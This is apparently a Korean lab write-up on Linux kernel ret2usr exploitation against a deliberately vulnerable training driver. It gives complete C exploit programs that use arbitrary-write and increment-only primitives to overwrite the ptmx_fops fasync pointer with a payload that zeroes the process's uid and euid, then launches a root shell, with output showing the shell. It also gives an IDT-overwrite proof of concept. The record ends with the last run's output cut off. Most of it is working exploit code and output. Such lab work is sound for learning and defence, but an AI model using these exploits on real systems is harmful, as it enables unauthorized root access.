Linux Kernel Exploit Development with VMware - Lab4::ret2usr
목차
ret2usr
커널 영역은 가상 주소로 시스템 내의 모든 프로세스에 매핑된다. 하지만, 보안상의 문제가 야기될 수 있기 때문에 유저 프로세스는 커널 영역에 접근할 수 없지만, 커널 영역에서는 유저 프로세스의 메모리 영역에 접근이 가능하다.
ret2usr
공격은 이러한 메모리 디자인을 기반으로 커널이 유저 메모리 영역에 있는 페이로드에 접근해 권한 상승을 일으키는 공격이다. 간단한 예로, 커널 함수 포인터를 유저 메모리 영역에서 선언된 payload()
함수의 주소로 변경시켜 커널이 익스플로잇 코드를 실행하게 만들 수 있다.
TestVM
의 ~/exercises/arbitrary_write
디렉터리에는 취약한 드라이버의 소스인 ret2usr_mod.c
가 존재한다. 해당 드라이버를 통해 Arbitary Address Write
와 Partical Write
를 통한 Exploit을 진행한다.
ret2usr_mod.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
/**
* This module registers the "/dev/ret2usr" character device.
*
* Two ioctls are provided:
*
* - IOCTL_FULL_WRITE - a write-what-where exploitation primitive
* - IOCTL_PARTIAL_WRITE - can increment arbitrary memory addresses by 1
*
* Author: Vitaly Nikolenko
* Email: [email protected]
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/uaccess.h>
#include "drv.h"
static int device_open(struct inode *, struct file *);
static long device_ioctl(struct file *, unsigned int, unsigned long);
static int device_release(struct inode *, struct file *f);
static int major_no;
static struct file_operations fops = {
.open = device_open,
.release = device_release,
.unlocked_ioctl = device_ioctl
};
static int device_release(struct inode *i, struct file *f) {
printk(KERN_INFO "device_release() called\n");
return 0;
}
static int device_open(struct inode *i, struct file *f) {
printk(KERN_INFO "Device opened!\n");
return 0;
}
/* write-what-where */
static void arbitrary_write(unsigned long address, unsigned longvalue) {
printk(KERN_INFO "Writing %lx into %p\n", value, (void *)address);
*(unsigned long *)address = value;
}
/* can only increment arbitrary memory addresses by 1 */
static void partial_write(unsigned long address) {
printk(KERN_INFO "Incrementing addr %p\n", (void *)address);
*(unsigned long *)address += 1;
}
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
struct drv_req *req;
printk(KERN_INFO "cmd = %d\n", cmd);
req = (struct drv_req *)args;
switch(cmd) {
case IOCTL_FULL_WRITE: /* write-what-where */
arbitrary_write(req->address, req->value);
break;
case IOCTL_PARTIAL_WRITE: /* can increment address by 1 */
partial_write(req->address);
break;
default:
break;
}
return 0;
}
static struct class *class;
static int __init load(void) {
printk(KERN_INFO "Driver loaded\n");
major_no = register_chrdev(0, DEVICE_NAME, &fops);
printk(KERN_INFO "major_no = %d\n", major_no);
class = class_create(THIS_MODULE, DEVICE_NAME);
device_create(class, NULL, MKDEV(major_no, 0), NULL, DEVICE_NAME);
return 0;
}
static void __exit unload(void) {
device_destroy(class, MKDEV(major_no, 0));
class_unregister(class);
class_destroy(class);
unregister_chrdev(major_no, DEVICE_NAME);
printk(KERN_INFO "Driver unloaded\n");
}
module_init(load);
module_exit(unload);
MODULE_LICENSE("GPL");
_init_load()
함수를 통해 /dev/ret2usr
디바이스를 등록하며, device_ioctl()
함수 선언을 통해 ioctl()
1호출시 arbitrary_write()
함수와 partial_write()
함수를 사용할 수 있다.
Arbitary Address Write Exploit
아래와 같은 AAW trigger template이 제공되어 있다.
trigger1.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* arbitrary write primitive (write-what-where) trigger */
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "drv.h"
int main() {
int fd;
struct drv_req req;
fd = open(DEVICE_PATH, O_RDONLY);
if (fd == -1) {
perror("open");
return -1;
}
/* set the address to overwrite and the new value */
req.address = 0xffffffff81000000;
req.value = 0xdeadbeef;
ioctl(fd, IOCTL_FULL_WRITE, &req);
}
ioctl
호출시 cmd
필드가 IOCTL_FULL_WRITE
이라면, 임의 주소 쓰기(Arbitary Address Write
, AAW
)가 가능하다.
우선 Exploit 코드를 작성하기 전, 메모리의 어느 공간(Where
)에, 어떤 값(What
)을 쓸 것인지 생각해야 한다. IOCTL_FULL_WRITE
옵션을 통해 커널 영역의 함수 포인터를 유저 영역에서 우리가 선언한 함수의 주소로 바꿔치기하여 ret2usr
공격을 성사시킬 수 있을 것이기 때문에 What
은 우리가 작성한 Exploit Payload
함수의 주소가 된다.
그렇다면 Where
, 어디에 페이로드 함수의 주소를 써야 할까? 이번에는 Blazeme 문제를 풀다가 발견한 방법을 사용해 보려고 한다.
링크의 글에서는 AAW 취약점을 통해 /dev/ptmx
디바이스의 file_operations
(fops)구조체 내에 존재하는 함수 포인터를 덮는 방식으로 익스플로잇을 진행한다.
우선, ptmx_fops
구조체의 주소부터 구해보자.
1
2
3
test@ubuntu:~/exercises/arbitrary_write$ sudo cat /proc/kallsyms | grep "ptmx_fops"
ffffffff81f148a0 b ptmx_fops
test@ubuntu:~/exercises/arbitrary_write$
MasterVM
에서 remote debugging을 통해 위에서 구한 주소에 위치한 구조체를 확인한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@master:~# gdb kernels/vmlinux-3.5.0-23-generic -q
Reading symbols from kernels/vmlinux-3.5.0-23-generic...done.
(gdb) target remote 192.168.94.1:8864
Remote debugging using 192.168.94.1:8864
native_safe_halt () at /build/buildd/linux-lts-quantal-3.5.0/arch/x86/include/asm/irqflags.h:50
warning: Source file is more recent than executable.
50 }
(gdb) p *(struct file_operations*)0xffffffff81f148a0
$1 = {owner = 0x0 <irq_stack_union>, llseek = 0xffffffff81187030 <no_llseek>,
read = 0xffffffff813eb820 <tty_read>, write = 0xffffffff813ebfe0 <tty_write>,
aio_read = 0x0 <irq_stack_union>, aio_write = 0x0 <irq_stack_union>, readdir = 0x0 <irq_stack_union>,
poll = 0xffffffff813eb780 <tty_poll>, unlocked_ioctl = 0xffffffff813ed720 <tty_ioctl>,
compat_ioctl = 0xffffffff813eb6a0 <tty_compat_ioctl>, mmap = 0x0 <irq_stack_union>,
open = 0xffffffff813f5f30 <ptmx_open>, flush = 0x0 <irq_stack_union>,
release = 0xffffffff813ecc30 <tty_release>, fsync = 0x0 <irq_stack_union>,
aio_fsync = 0x0 <irq_stack_union>, fasync = 0xffffffff813eb650 <tty_fasync>,
lock = 0x0 <irq_stack_union>, sendpage = 0x0 <irq_stack_union>,
get_unmapped_area = 0x0 <irq_stack_union>, check_flags = 0x0 <irq_stack_union>,
flock = 0x0 <irq_stack_union>, splice_write = 0x0 <irq_stack_union>,
splice_read = 0x0 <irq_stack_union>, setlease = 0x0 <irq_stack_union>,
fallocate = 0x0 <irq_stack_union>}
(gdb) p &$1.fasync
$2 = (int (**)(int, struct file *, int)) 0xffffffff81f14920 <ptmx_fops+128>
(gdb)
fasync
함수 포인터가 ptmx_fops+128
위치에 존재하므로 해당 포인터를 payload()
함수 주소로 덮은 후 fcntl(ptmx, F_SETFL, FASYNC);
명령을 통해 fasync
함수 포인터를 호출할 수 있다.
payload()
함수는 이전 lab3에서 사용했던 automated privilege escalation
코드를 재사용한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __attribute__((regparm(3))) payload() {
asm(
"pushq %rax;" /* save Registers */
"pushq %rcx;"
"movq %rsp, %rax;" /* get SP */
"movq $0xFFFFFFFFFFFFE000, %rcx;" /* calc THREAD_SIZE */
"andq %rcx, %rax;" /* calc thread_info */
"movq (%rax), %rcx;" /* get task_struct */
"movq 0x458(%rcx), %rax;" /* get real_cred */
"movl $0, 0x04(%rax);" /* set uid */
"movl $0, 0x14(%rax);" /* set euid */
"popq %rcx;" /* restore Registers */
"popq %rax;"
);
}
그리고, 취약 모듈에서 받는 값은 4Byte
인 unsigned long
형으로 캐스팅되어 쓰이기 때문에 8Byte
를 쓸 수 있게 간단한 프리미티브 함수를 만들었다.
1
2
3
4
5
6
7
8
9
10
void _write(int fd, unsigned long long address, unsigned long long value) {
struct drv_req req;
req.address = address;
req.value = value & 0xffffffff;
ioctl(fd, IOCTL_FULL_WRITE, &req);
req.address = address + 4;
req.value = value & 0xffffffff00000000;
ioctl(fd, IOCTL_FULL_WRITE, &req);
}
Full Exploit Code는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/* arbitrary write primitive (write-what-where) trigger */
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "drv.h"
void __attribute__((regparm(3))) payload() {
asm(
"pushq %rax;" /* save Registers */
"pushq %rcx;"
"movq %rsp, %rax;" /* get SP */
"movq $0xFFFFFFFFFFFFE000, %rcx;" /* calc THREAD_SIZE */
"andq %rcx, %rax;" /* calc thread_info */
"movq (%rax), %rcx;" /* get task_struct */
"movq 0x458(%rcx), %rax;" /* get real_cred */
"movl $0, 0x04(%rax);" /* set uid */
"movl $0, 0x14(%rax);" /* set euid */
"popq %rcx;" /* restore Registers */
"popq %rax;"
);
}
void _write(int fd, unsigned long long address, unsigned long long value) {
struct drv_req req;
req.address = address;
req.value = value & 0xffffffff;
ioctl(fd, IOCTL_FULL_WRITE, &req);
req.address = address + 4;
req.value = value & 0xffffffff00000000;
ioctl(fd, IOCTL_FULL_WRITE, &req);
}
int main() {
int fd, ptmx_fd;
int uid;
struct drv_req req;
unsigned long long ptmx_fops = 0xffffffff81f148a0;
fd = open(DEVICE_PATH, O_RDONLY);
ptmx_fd = open("/dev/ptmx", O_RDWR);
if (fd == -1) {
perror("open");
return -1;
}
_write(fd, ptmx_fops+128, (unsigned long long)&payload);
fcntl(ptmx_fd, F_SETFL, FASYNC);
uid = getuid();
printf("uid: %d\n", uid);
if(uid) {
printf("failure\n");
exit(1);
}
execve("/bin/sh", NULL, NULL);
return 0;
}
result
1
2
3
4
5
6
test@ubuntu:~/exercises/arbitrary_write$ sudo insmod ret2usr_mod.ko
test@ubuntu:~/exercises/arbitrary_write$ ./ex1
uid: 0
# id
uid=0(root) gid=1001(test) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare),1001(test)
#
Partical Write Exploit
이번에는 원하는 위치에 원하는 값을 쓸 수 있지만, 제약 조건이 생겼다.
원하는 값을 즉시 적을 수 있는 것이 아니라, 1씩 증가시킬 수 있다는 것. 기본적인 방법은 Arbitary Address Write Exploit와 동일하지만, 프리미티브 구현을 다르게 해야 한다.
이 과정에서 겪은 시행착오를 설명하자면, (처음 짰던 프리미티브를 날려먹었다.) AAW Exploit
과 동일하게 ptmx_fops
구조체 내의 fasync
함수 포인터를 1씩 여러번, payload()
함수의 주소가 될 때까지 증가시키도록 프리미티브를 짰었다. 그러나 그 과정이 ioctl을 대략 0x7F01****
번 호출해야 한다는 것을 간과하고 익스를 돌리는 순간, 그램은 이륙을 시작하고 그대로 40분동안 익스가 돌아갔다. (물론 익스는 계산미스로 실패)
아래 코드는 위의 시행착오를 겪고 난 이후 수정한 프리미티브이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void _write(int fd, uint64_t addr, uint64_t orgValue, uint64_t chValue) {
struct drv_req req;
uint64_t count;
int i;
uint8_t *mem = malloc(0x10);
*(uint64_t *)mem = orgValue;
for(i=0; i<4; i++) {
int shifts = 8 * i;
uint64_t target = addr << shifts;
uint8_t orgByte = *(mem+i);
uint8_t chByte = ((chValue & (0xff << 8*i))>>8*i);
uint8_t loopCount;
int count;
if(orgByte > chByte) {
loopCount = (0x100 - orgByte) + chByte;
} else {
if(orgByte == chByte) {
continue;
}
loopCount = chByte - orgByte;
}
for(count=0 ; count < loopCount; count++) {
// TODO Change this to ioctl
*(uint32_t*)(mem+i) += 1;
req.address = addr + i;
ioctl(fd, IOCTL_PARTIAL_WRITE, &req);
}
}
}
1차 프리미티브가 0x11223344
의 값을 통으로 증가(0x44444444
값을 만들기 위해 같은 메모리 주소에 0x33221100
번 증가 연산)시켰다면, 2차 프리미티브는 0x44
위치에 0
번, 0x33
위치에 0x11
번, 0x22
위치에 0x22
번, 0x11
위치에 0x33
번 연산을 수행한다. malloc()
을 통해 힙 메모리 영역에 원본 값을 쓰고, 커널 메모리 증가와 동시에 증가되도록 하여 계산을 도왔다. i
값이 4이하 (하위 4바이트만 증가)시키는 것은, 어차피 4번째 바이트(0x1122334455667788
에서 44
부분)가 overflow되어 carry가 발생하면 뒤의 0xffffffff********
부분도 연쇄적으로 overflow되어 0이 되므로 연산에서 제외했다.
Full Exploit Code는 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/* partially-controlled write primitive trigger */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "drv.h"
void __attribute__((regparm(3))) payload() {
asm(
"pushq %rax;" /* save Registers */
"pushq %rcx;"
"movq %rsp, %rax;" /* get SP */
"movq $0xFFFFFFFFFFFFE000, %rcx;" /* calc THREAD_SIZE */
"andq %rcx, %rax;" /* calc thread_info */
"movq (%rax), %rcx;" /* get task_struct */
"movq 0x458(%rcx), %rax;" /* get real_cred */
"movl $0, 0x04(%rax);" /* set uid */
"movl $0, 0x14(%rax);" /* set euid */
"popq %rcx;" /* restore Registers */
"popq %rax;"
);
}
void _write(int fd, uint64_t addr, uint64_t orgValue, uint64_t chValue) {
struct drv_req req;
uint64_t count;
int i;
uint8_t *mem = malloc(0x10);
*(uint64_t *)mem = orgValue;
for(i=0; i<4; i++) {
int shifts = 8 * i;
uint64_t target = addr << shifts;
uint8_t orgByte = *(mem+i);
uint8_t chByte = ((chValue & (0xff << 8*i))>>8*i);
uint8_t loopCount;
int count;
if(orgByte > chByte) {
loopCount = (0x100 - orgByte) + chByte;
} else {
if(orgByte == chByte) {
continue;
}
loopCount = chByte - orgByte;
}
for(count=0 ; count < loopCount; count++) {
// TODO Change this to ioctl
*(uint32_t*)(mem+i) += 1;
req.address = addr + i;
ioctl(fd, IOCTL_PARTIAL_WRITE, &req);
}
}
}
int main() {
int fd, ptmx_fd;
int uid;
fd = open(DEVICE_PATH, O_RDONLY);
ptmx_fd = open("/dev/ptmx", O_RDWR);
if (fd == -1) {
perror("open");
return -1;
}
_write(fd, 0xffffffff81f14920, 0xffffffff813eb650, (uint64_t)&payload);
fcntl(ptmx_fd, F_SETFL, FASYNC);
uid = getuid();
printf("uid: %d\n", uid);
if(uid) {
printf("failure\n");
exit(1);
}
execve("/bin/sh", NULL, NULL);
return 0;
}
result
1
2
3
4
5
6
test@ubuntu:~/exercises/arbitrary_write$ sudo insmod ret2usr_mod.ko
test@ubuntu:~/exercises/arbitrary_write$ ./ex2
uid: 0
# id
uid=0(root) gid=1001(test) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare),1001(test)
#
190926 추가 아직 해보진 않았지만, 0xffffffff813eb650
주소를 호출하는 것이니 상위 4바이트에만 + 1
연산을 하게 되면 함수 포인터가 0x00000000813eb650
이 되게 되므로 해당 주소에 유저가 mmap()
을 통해 메모리를 매핑하고 payload()
함수 내용을 memcpy()
를 통해 복사하게 된다면? 단 1번의 트리거링을 통해 익스가 가능하지 않을까..?
IDT overwrite
Partical Write Exploit에서 작성한 프리미티브를 가지고, IDT Overwrite
기법을 사용해 익스플로잇을 해야 한다.
The IDT(Interrupt Descriptor Table)
간단하게 설명하자면, 시스템에서 인터럽트가 발생하게 되면, 커널은 idtr
레지스터가 가지고 있는 포인터 내의 인터럽트 테이블에서 해당하는 인터럽트 번호의 entry를 찾아 해당 entry가 가지고 있는 함수 포인터를 호출한다.
간단한 예로, int 0x80
은 시스템 콜 인터럽트이다. 해당 인터럽트가 발생하게 되면 이 소스에 선언된 IA32_SYSCALL_VECTOR
(0x80)번째 entry에 등록된 entry_INT80_32
함수를 호출하게 된다.
무진장 도움이 많이 된 링크 두개를 첨부한다! [1] [2]
1번 링크
는 IDTR와 IDT에 대해 자세히 설명되어 있고, 2번 링크
는 IDT Overwrite를 통해 익스플로잇을 진행한 1-day PoC(x32)
이다.
일단 idtr
레지스터의 값을 빼오는 것부터 시작하자. linux 소스 코드 상에서는 다음과 같이 idtr
레지스터 추출 함수가 구현되어 있다. (x86)
1
2
3
4
static inline void store_idt(struct desc_ptr *dtr)
{
asm volatile("sidt %0":"=m" (*dtr));
}
그리고 위 함수에서 사용하는 struct desc_ptr
구조체는 아래와 같이 정의되어 있다.
1
2
3
4
struct desc_ptr {
unsigned short size;
unsigned long address;
} __attribute__((packed)) ;
이를 기반으로 한번 idtr
레지스터를 추출해보자.
1번 링크의 이 부분을 참조하여 x64 idtr
구조체를 작성하였다.
idtr struct
1
2
3
4
struct idtr {
uint16_t limit;
uint64_t base;
} __attribute__ ((packed));
full-code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* partially-controlled write primitive trigger */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "drv.h"
struct idtr {
uint16_t limit;
uint64_t base;
} __attribute__ ((packed));
int main() {
int i;
struct idtr idtr;
asm("sidt %0" : "=m" (idtr));
printf("idtr.base %p\n", (void*)idtr.base);
return 0;
}
result
1
2
3
4
test@ubuntu:~/exercises/arbitrary_write$ gcc -o ex3 ex3.c
test@ubuntu:~/exercises/arbitrary_write$ ./ex3
idtr.base 0xffffffff81dd6000
test@ubuntu:~/exercises/arbitrary_write$
이 코드를 통해 위에서 출력된 메모리 주소가 idt gate entry
라는 것을 알 수 있었다.2
1
2
3
4
struct desc_ptr idt_descr __ro_after_init = {
.size = (IDT_ENTRIES * 2 * sizeof(unsigned long)) - 1,
.address = (unsigned long) idt_table,
};
idt_table
은 이렇게 정의되어 있다.3
1
extern gate_desc idt_table[];
idt_table
에 저장되는 gate_desc
는 아래와 같이 gate_struct
이며4,
1
typedef struct gate_struct gate_desc;
gate_struct
구조체는 아래와 같은 모양으로 선언되어 있다(x86).5
1
2
3
4
5
6
7
/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));
x86_64의 gate_struct
구조체는 gdb를 통해 아래와 같이 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) ptype gate_desc
type = struct gate_struct64 {
u16 offset_low;
u16 segment;
unsigned int ist : 3;
unsigned int zero0 : 5;
unsigned int type : 5;
unsigned int dpl : 2;
unsigned int p : 1;
u16 offset_middle;
u32 offset_high;
u32 zero1;
}
링크에서는 IDT Table을 아래와 같은 구조로 설명한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
INTERRUPT DESCRIPTOR TABLE
+------+-----+-----+------+
+---->| | | | |
| |- GATE FOR INTERRUPT #N -|
| | | | | |
| +------+-----+-----+------+
| * *
| * *
| * *
| +------+-----+-----+------+
| | | | | |
| |- GATE FOR INTERRUPT #2 -|
| | | | | |
| |------+-----+-----+------|
IDT REGISTER | | | | | |
| |- GATE FOR INTERRUPT #1 -|
15 0 | | | | | |
+---------------+ | |------+-----+-----+------|
| IDT LIMIT |----+ | | | | |
+----------------+---------------| |- GATE FOR INTERRUPT #0 -|
| IDT BASE |--------->| | | | |
+--------------------------------+ +------+-----+-----+------+
31 0
이제 처음에 출력한 idtr
레지스터의 base
주소를 확인해보자.
MasterVM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(gdb) x/32gx 0xffffffff81dd6000
0xffffffff81dd6000: 0x816a8e0000108120 0x00000000ffffffff
0xffffffff81dd6010: 0x81698e040010edb0 0x00000000ffffffff
0xffffffff81dd6020: 0x81698e030010f1c0 0x00000000ffffffff
0xffffffff81dd6030: 0x8169ee040010edf0 0x00000000ffffffff
0xffffffff81dd6040: 0x816aee0000108140 0x00000000ffffffff
0xffffffff81dd6050: 0x816a8e0000108160 0x00000000ffffffff
0xffffffff81dd6060: 0x816a8e0000108180 0x00000000ffffffff
0xffffffff81dd6070: 0x816a8e00001081a0 0x00000000ffffffff
0xffffffff81dd6080: 0x816a8e02001081c0 0x00000000ffffffff
0xffffffff81dd6090: 0x816a8e00001081f0 0x00000000ffffffff
0xffffffff81dd60a0: 0x816a8e0000108210 0x00000000ffffffff
0xffffffff81dd60b0: 0x816a8e0000108240 0x00000000ffffffff
0xffffffff81dd60c0: 0x81698e010010ee30 0x00000000ffffffff
0xffffffff81dd60d0: 0x81698e000010eed0 0x00000000ffffffff
0xffffffff81dd60e0: 0x81698e000010ef00 0x00000000ffffffff
0xffffffff81dd60f0: 0x816a8e0000108270 0x00000000ffffffff
(gdb)
해당 영역 내에 0x10
Byte 크기의 gate_desc
구조체가 나열되어 있다. 해당 구조체를 p
명령을 통해 typecast
한 후 확인해보자.
1
2
3
(gdb) p *(gate_desc*) 0xffffffff81dd6000
$2 = {offset_low = 33056, segment = 16, ist = 0, zero0 = 0, type = 14, dpl = 0, p = 1, offset_middle = 33130, offset_high = 4294967295, zero1 = 0}
(gdb)
offset_low
33056
=>0x8120
offset_mid33130
=>0x816A
offset_hi4294967295
=>0xffffffff
hi + mid + low
=>0xffffffff816A8120
한번 해당 주소를 확인해보자.
1
2
3
(gdb) x/a 0xffffffff816A8120
0xffffffff816a8120 <divide_error>: 0xff6a0000441f0f66
(gdb)
divide_error
함수의 주소로 표시된다. 해당 entry는 아래와 같이 idt_table
의 0번째에 선언이 되므로, 인터럽트 번호 0번에 해당하는 함수의 포인터를 알아낸 것이다.
1
2
3
4
static const __initconst struct idt_data def_idts[] = {
INTG(X86_TRAP_DE, divide_error),
...
...
그렇다면 인터럽트가 발생되었을 때 호출되는 함수의 포인터는 desc_struct
내에 어떤 식으로 설정될까? 리눅스 커널에서는 아래의 set_intr_gate
함수를 통해 원하는 idt_table
인터럽트 번호에 원하는 함수 포인터를 설정한다.
1
2
3
4
static inline void native_write_idt_entry(gate_desc *idt, int entry, const gate_desc *gate)
{
memcpy(&idt[entry], gate, sizeof(*gate));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static inline void idt_init_desc(gate_desc *gate, const struct idt_data *d)
{
unsigned long addr = (unsigned long) d->addr;
gate->offset_low = (u16) addr;
gate->segment = (u16) d->segment;
gate->bits = d->bits;
gate->offset_middle = (u16) (addr >> 16);
#ifdef CONFIG_X86_64
gate->offset_high = (u32) (addr >> 32);
gate->reserved = 0;
#endif
}
static void
idt_setup_from_table(gate_desc *idt, const struct idt_data *t, int size, bool sys)
{
gate_desc desc;
for (; size > 0; t++, size--) {
idt_init_desc(&desc, t);
write_idt_entry(idt, t->vector, &desc);
if (sys)
set_bit(t->vector, system_vectors);
}
}
static void set_intr_gate(unsigned int n, const void *addr)
{
struct idt_data data;
BUG_ON(n > 0xFF);
memset(&data, 0, sizeof(data));
data.vector = n;
data.addr = addr;
data.segment = __KERNEL_CS;
data.bits.type = GATE_INTERRUPT;
data.bits.p = 1;
idt_setup_from_table(idt_table, &data, 1, false);
}
즉, 위 함수를 익스플로잇 코드 안에 구현함으로써 원하는 인터럽트 번호에 원하는 함수 포인터를 쓸 수 있게 된다.
2번 링크에서는, IDT Entry(Gate)를 매크로를 통해 다음과 같이 설정하고 있다.
1
2
3
4
5
6
#define SET_IDT_GATE(idt,ring,s,addr) \
(idt).off1 = addr & 0xffff; \
(idt).off2 = addr >> 16; \
(idt).sel = s; \
(idt).none = 0; \
(idt).flags = 0x8E | (ring << 5);
추가적으로, idtd.dpl
값이 3
이면 유저 모드에서 인터럽트를 발생시킬 수 있다고 한다. 아래와 같이 SET_IDT_GATE
매크로를 직접 x86_64
로 포팅했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define SET_IDT_GATE(idt, addr) \
(idt).offset_lo = (uint16_t) (addr & 0xffff); \
(idt).segment = 0x10; /* __KERNEL_CS */ \
(idt).ist = 0; \
(idt).zero0 = 0; \
(idt).type = 0xe; /* GATE_INTERRUPT */ \
(idt).dpl = 3; /* can Execute int in usermode */\
(idt).p = 1; \
(idt).offset_md = (uint16_t) (addr >> 16); \
(idt).offset_hi = (uint32_t) (addr >> 32); \
(idt).zero1 = 0;
struct idtr {
uint16_t limit;
uint64_t base;
} __attribute__ ((packed));
struct idtd {
uint16_t offset_lo;
uint16_t segment;
uint16_t ist:3, zero0: 5, type: 5, dpl: 2, p: 1;
uint16_t offset_md;
uint32_t offset_hi;
uint32_t zero1;
} __attribute__ ((packed));
테스트 삼아 아래와 같은 IDT Overwrite
테크닉을 이용한 권한 상승 코드를 작성해보았다. 실제 취약점을 이용하여 트리거링 하는 방식이 아니라, 직접 gdb를 통해 첫 getuid()
호출시 rip
레지스터 값을 exploit()
의 주소로 변경해주어 트리거링하는 방식을 통해 테스트했다.
PoC Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
/* partially-controlled write primitive trigger */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include "drv.h"
#define SET_IDT_GATE(idt, addr) \
(idt).offset_lo = (uint16_t) (addr & 0xffff); \
(idt).segment = 0x10; /* __KERNEL_CS */ \
(idt).ist = 0; \
(idt).zero0 = 0; \
(idt).type = 0xe; /* GATE_INTERRUPT */ \
(idt).dpl = 3; /* can Execute int in usermode */\
(idt).p = 1; \
(idt).offset_md = (uint16_t) (addr >> 16); \
(idt).offset_hi = (uint32_t) (addr >> 32); \
(idt).zero1 = 0;
struct trapFrame {
void* rip;
uint64_t user_cs;
uint64_t user_rflags;
void* rsp;
uint64_t user_ss;
};
struct trapFrame tf;
struct idtr {
uint16_t limit;
uint64_t base;
} __attribute__ ((packed));
struct idtd {
uint16_t offset_lo;
uint16_t segment;
uint16_t ist:3, zero0: 5, type: 5, dpl: 2, p: 1;
uint16_t offset_md;
uint32_t offset_hi;
uint32_t zero1;
} __attribute__ ((packed));
static void shell() {
system("/bin/sh");
exit(0);
}
static void save() {
asm(
"xor %%rax, %%rax;"
"movq %%cs, %0;"
"movq %%ss, %1;"
"pushfq;"
"popq %2;"
: "=r" (tf.user_cs),
"=r" (tf.user_ss),
"=r" (tf.user_rflags) : : "memory"
);
tf.rip = &shell;
tf.rsp = (void*)0x35000500;
}
static void rest() {
asm(
"movq $tf, %rsp;"
"swapgs;"
"iretq;"
);
}
void __attribute__((regparm(3))) payload() {
asm(
"pushq %rax;" /* save Registers */
"pushq %rcx;"
"movq %rsp, %rax;" /* get SP*/
"movq $0xFFFFFFFFFFFFE000, %rcx;" /* calc THREAD_SIZE */
"andq %rcx, %rax;" /* calc thread_info */
"movq (%rax), %rcx;" /* get task_struct */
"movq 0x458(%rcx), %rax;" /* get real_cred */
"movl $0, 0x04(%rax);" /* set uid */
"movl $0, 0x14(%rax);" /* set euid */
"popq %rcx;" /* restore Registers */
"popq %rax;"
);
rest();
}
void exploit(){
struct idtr idtr;
struct idtd *idtd;
asm("sidt %0" : "=m" (idtr));
idtd = (struct idtd *)idtr.base;
SET_IDT_GATE(idtd[0x7f], (uint64_t)&payload);
asm("int $0x7f;");
return;
}
int main() {
int i;
save();
printf("exploit: %llx\n", (uint64_t)&exploit);
printf("payload: %llx\n", (uint64_t)&payload);
unsigned long *mem = mmap((void*)0x35000000, 0x10000,
PROT_READ | PROT_WRITE | PROT_EXEC, 0x32 | MAP_POPULATE | MAP_FIXED | MAP_GROWSDOWN, -1, 0);
// payload((struct idtd *)idtr.base);
getuid(); // dummy code for change rip to &exploit
printf("nooooo...\n");
return 0;
}
TestVM
1
2
3
test@ubuntu:~/exercises/arbitrary_write$ ./ex3
exploit: 400703
payload: 4006ca
MasterVM
1
2
3
4
5
Breakpoint 6, sys_getuid () at /build/buildd/linux-lts-quantal-3.5.0/kernel/timer.c:1438
1438 {
(gdb) set $rip = 0x400703
(gdb) c
Continuing.
TestVM
1
2
3
4
5
6
test@ubuntu:~/exercises/arbitrary_write$ ./ex3
exploit: 400703
payload: 4006ca
# id
